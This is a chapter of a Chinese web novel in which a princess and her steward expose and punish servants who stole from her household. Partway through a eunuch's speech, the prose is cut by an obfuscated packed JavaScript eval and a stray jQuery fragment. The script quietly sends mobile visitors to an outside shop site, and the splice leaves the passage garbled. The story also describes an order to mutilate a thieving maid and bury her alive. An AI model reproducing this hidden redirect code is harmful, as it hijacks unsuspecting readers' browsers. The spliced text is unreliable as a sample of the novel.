文趣网 > 其他小说 > 长公主她只想送人全家升天 > 13. 第 13 章
    孔明远轻咳一声,目光扫过四周。

    他声音不高,却能清晰地传到庭院每个人的耳中。

    “在公主府里,你们也算是干了三年的老人了。

    我不知道你们以前趁公主不在公主府常住的时候是什么样子的,但是现在公主回来了。

    这公主府里也算是有了正经的主子,自然不能像以前一样没有任何的章程礼法。”

    孔明远接过王叔递过来的账本,在手中扬了扬。

    “之前王叔管家,你们欺负他年事已高,没有主子撑腰,短短三年的光景,竟然挖空了整个公主府。趁公主远在塞外就敢如此糊弄,你们该当何罪!”

    “厨娘刘二何在?你看看这账本上精米,白面的采买明细就没有什么想说吗?”

    人群中一个哆哆嗦嗦的老妈子站了出来,梗着脖子说道。

    “不知孔二少爷是什么意思,我刘二自从三年前来到公主府,自认为一向兢兢业业,恪守本职,绝不敢贪图公家的一粒米,一滴油,二公子如果不信尽管去查!”

    孔明远冷哼一声,看着底下死鸭子嘴硬的的恶仆,慢悠悠地端起了茶杯,给身边的阿财使了个眼神。

    阿财接收到了自家二爷的眼神,板着脸,立刻上前,对着刘二厉声说道。

    “据我所知,市面流通的精米大约每斗约10文,白面每斤大约30文。如果没有旱涝灾害,最多也不过是有个10文上下的起伏。

    可是,你看看你的采买明细上报的是什么。

    你竟然中饱私囊报了100文!

    整整翻了数倍之多,如今证据确凿。

    你竟然还敢在这空口白牙的在此狡辩!来人,帮我把这个中饱私囊的恶仆给我送官府里去!”

    刘二没有想到面前的小厮和孔家二公子如此精通精米白面的价格,立刻怂了下来。

    她一听要报官,立马慌了,直喊道。

    “老奴错了,老奴错了,老奴不该中饱私囊啊。”

    跟刚才梗着脖子争辩的模样,简直是判若两人。

    孔明远听着她的叫喊,连眉眼都不曾抬半分,只是轻轻抿了一口茶水。

    “拖下去。”

    刘二见上方的孔二公子狠心要把自己报官,立马不顾小厮的拉扯,一边磕着头,一边求饶。

    “老奴愿意将功赎罪,可这公主府也不止我一人贪墨银子啊。这马五,刘四贪墨的工银并不比我少啊,望二爷明鉴。”

    孔明远拿起扇子摇了摇,抬眼看了一眼阿财。

    “她说的可是真的?”

    阿财拿着账本看了看,点了点头。

    “回二爷,确有此事。而且这两人在咱们负责的修缮工程中,还贪墨了瓷器和花草,都有人亲眼所见。”

    孔明远摇着扇子点了点头,云淡风轻地开口。

    “那就一并拿下送官吧。”

    马五,刘四听到立刻跪地求饶,原地磕头。

    孔明远看着低下吵闹互相攀咬的三人,看了一眼阿财。

    阿财直言:“来人,把他们的嘴都给我堵上!省得污了二爷和公主的耳。”

    随后,阿财扬了扬手中的卖身契,对着底下的下人们厉声喊道。

    “现在是坦白从宽,抗拒从严。现在坦白咱们一切还好说好商量,也算是给你们一个戴罪立功的机会。

    可要是等我们查出来了,那就不好说了。该送官的送官,该卖人牙子的卖人牙子!那就休怪我们主家无情了!”

    底下的一众宫女们听到阿财这么说,顿时不悦了,齐齐开口。

    “我们跟那些签了卖身契,任意打杀的下人可不一样。我们是陛下送给公主的侍女。

    你和孔二公子最多就算是我们公主府的客人,我们好生招待便是,但是你们可没有权利来处置我们的生死!”

    孔明远见状眉眼微抬,端着茶杯的手一顿。

    他刚想起身,结果就被身后的人,一把用力地重新按在了椅子上。

    沈长风温和地看着带头闹事的宫女,眉眼含笑,语气温柔。

    “明远没有资格,那我有没有资格处置你们!”

    沈长风就势一身青衣坐在了孔明远的身边。

    她微微抬了抬头,嘴角含笑。

    “我记得你好像叫做青碧,是吧。”

    叫做青碧的侍女点了点头,俯下身子,对着沈长风恭敬行礼,回道。

    “回禀公主,奴婢正是青碧。”

    沈长风眼神微垂,微微点了点头,打量着她,赞赏。

    “倒是一副好颜色,朱颜红唇,窈窕身姿,看着倒像是个会打扮的。”

    青碧听到沈长风话语间对于自己明晃晃的夸奖,顿时有些沾沾自喜,整个人有些飘飘然。

    一旁的冬至看着底下站着的青碧,嘴角勾起一抹嘲讽。

    这群人恐怕还不了解他们主子真正的脾气秉性,此时,还在这洋洋得意,沾沾自喜呢!

    沈长风含笑望着她得意的神情,心中冷哼。

    这陈家塞过来的人未免也太蠢了些。

    真是好久没有见过这种蠢如猪的货色了。

    “我记得,我的那些珠钗首饰,好像少了一些。这其中的金簪和金钗?就是你拿的吧。”

    沈长风语气平淡,话里甚至没有一丝的波澜起伏。

    她不在意地低头玩弄着腰间的玉佩。

    青碧当下听到沈长风说起金簪和金钗?,面色瞬间慌了,直接跪在了地上。

    “公主明鉴,奴婢并没有啊!”

    沈长风揉了揉太阳穴,一脸疲倦,斜眼微眯地看着她。

    “奥,那你的意思是本公主在冤枉你?冬至!”

    冬至一听,顿时把手中的包袱往地下一摔,指了指。

    “这是什么,这明明是从你床底搜出来的!”

    青碧看着地上散落的金簪金钗,顿时慌乱的语无伦次,急忙磕头求饶。

    “是奴婢的错,求公主饶我一命!”

    沈长风刚想开口,却直接见福公公风风火火,捧着大箱小箱地走到了进来。

    沈长风连忙从凳子上起身迎了上去。

    “劳烦福公公多跑一趟,都是我府里人不省心,给福公公添麻烦了!”

    福公公一听,对着沈长风微微前倾行礼,含笑。

    “公主说笑了,老奴年龄大了,也就只能干些给公主跑跑腿,给陛下递递话的活计了。”

    “圣上口谕,公主府赏赐的所有奴仆,一切事宜皆由公主做主。一旦发现有中饱私囊、不敬公主者,一律任由公主处置!”

    “现赏赐明珠公主,金元宝一百对,银元宝二百对,珍珠项链十串,翡翠手镯五对,红宝石耳环二十对,祖母绿吊坠十枚,绛红色云锦二十匹,淡粉色绫罗三十匹,宝蓝色绸缎四十匹,月白色纱绢五十匹,金线织锦十匹。人参二十斤,鹿茸十对,雪莲十株,冬虫夏草五十斤。”

    福公公报完礼单对着沈长风弯腰行礼。

    随即,他连茶都没有多喝,又带着一行人浩浩荡荡地走出了公主府。

    临走之前,福公公看了一眼庭院中跪着的青碧,对着沈长风开口。

    “殿下,这原本是陛下赏赐给您宫里的人。既然如今这人犯了错,老奴今日便帮您

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589059|205408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    将她处置了,免得您亲自动手,脏了您的手。

    这也算是老奴给您乔迁新居的贺礼。

    让他们知道,咱们公主背后的依仗是陛下!在陛下的心中,公主的分量可是重得很!”

    沈长风听到福公公这么说,立刻弯腰道谢。

    “那就劳烦福公公了。”

    福公公满脸笑意地回道。

    “为公主办事老奴高兴的紧呢!”

    说着,福公公给身边的小太监使了一个眼神,转头就把青碧就给带走了。

    待到福公公带着青碧出府后。

    福公公瞥了一眼身边的人,转眼带着青碧,避开了耳目,走到了巷口的一辆马车上。

    福公公对着马车里的人微微俯身,低声说道。

    “爷,人我给您带出来了。”

    只见马车的车帘里伸出了一只修长如白玉般的手,轻轻摆了摆。

    车内的人嗓音清朗地说道。

    “劳烦福公公了,您费心了!”

    福公公行了个礼,便安静地退了下去。

    只留青碧一人站在马车之外。

    马车内,那人轻轻拿起手中的金簪把玩着,低声说道。

    “这就是你从公主府里偷拿出来的?”

    青碧一听当场跪下,泪流雨下。

    “爷,奴婢知错了,奴婢知错了,奴婢不该一时鬼迷心窍,偷拿了公主的东西。”

    只见马车里面的人隔着帘子轻轻说道。

    “就凭你,也敢碰她的东西!”

    那人转头又对着马车外的侍从吩咐。

    “来人把她的嘴给我堵上,哪只手偷的公主的东西,就给我砍哪只手。如果两只手都偷了,那就把两只手都砍了。对了,把她的眼睛和舌头都给我料理了,然后把她给我活埋葬到乱坟岗。”

    车外的人一副波澜不惊早已见惯的模样,微微颔首。

    “是,爷。”

    随后,被堵住嘴,遮住双眼的青碧就被人呜呜咽咽地带了下去。

    巷口的马车办完事后,马夫架着马车又彻底消失在了巷口吵闹的人海之中。

    公主府。

    沈长风望着庭院中个个瑟瑟发抖的下人们,转头对着孔明远,劝解。

    “明远啊,要不,惩治一两个下人就这么算了吧。”

    孔明远一听,有些气不打一处来。

    这刚刚开了一个好头。

    怎么能如此轻飘飘地轻拿轻放。

    如果这次轻拿轻放,这公主府,谁还会把公主当成正经主子对待。

    为公主府立威成败就看此次的了。

    吃了喝了他孔明远的,还贪他孔明远的钱,真是活的嫌命长了!

    “公主心善,看不得眼前的脏污事,这些肮脏事就交给明远吧,明远一定给公主办的漂漂亮亮,干干净净,绝不脏了公主的手。”

    沈长风见孔明远干劲十足的模样,一脸感动,当下从身旁拿出了早已准备好的府中对牌,递到了孔明远的面前。

    “既然明远都这么说了,我也不好拂了明远的面子,那我公主府的管家对牌这段时间就一一交给明远代管了,长风感激不以言表,就劳烦明远辛苦一二,多多为公主府操劳谋划了。”

    孔明远看着公主府的对牌陷入沉思,抬眼问道。

    “公主当真要把公主府的对牌就这样明晃晃地交给明远代管?”

    这可是公主府的管家大权啊!

    他要是真的有什么坏心思在公主府中做点手脚,有了这管家对牌也是完全可以瞒住她的。

    这穷酸破落户的公主未免也太信任他了吧!